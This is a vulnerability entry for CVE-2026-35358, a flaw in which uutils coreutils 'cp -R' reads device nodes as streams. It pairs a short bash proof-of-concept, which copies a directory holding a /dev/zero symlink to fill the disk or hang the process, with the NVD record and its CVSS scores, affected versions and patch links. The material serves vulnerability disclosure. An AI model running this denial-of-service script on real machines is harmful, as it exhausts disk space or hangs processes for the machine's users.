CVE-2026-35358

#!/bin/bash # PoC for CVE-2026-35358 # This script demonstrates the denial of service vulnerability # by attempting to copy a directory containing a character device. # Create a test directory with a symbolic link to /dev/zero mkdir -p /tmp/poc_dir ln -s /dev/zero /tmp/poc_dir/infinite_device # Create a destination directory mkdir -p /tmp/poc_dest # Execute the recursive copy using the vulnerable uutils cp # This will attempt to read infinitely from /dev/zero, filling the disk or hanging. # Ensure 'cp' is the vulnerable uutils binary. cp -R /tmp/poc_dir /tmp/poc_dest echo "If the system hangs or disk fills up, the PoC is successful."

{"cve": {"id": "CVE-2026-35358", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:38.393", "lastModified": "2026-05-04T19:03:00.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The cp utility in uutils coreutils, when performing recursive copies (-R), incorrectly treats character and block device nodes as stream sources rather than preserving them. Because the implementation reads bytes into regular files at the destination instead of using mknod, device semantics are destroyed (e.g., /dev/null becomes a regular file). This behavior can lead to runtime denial of service through disk exhaustion or process hangs when reading from unbounded device nodes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-706"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.7.0", "matchCriteriaId": "7F64F6A4-00A5-4FB8-BB51-21F475C11FF2"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/issues/9746", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/uutils/coreutils/pull/11163", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/uutils/coreutils/releases/tag/0.7.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/uutils/coreutils/issues/9746", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}]}}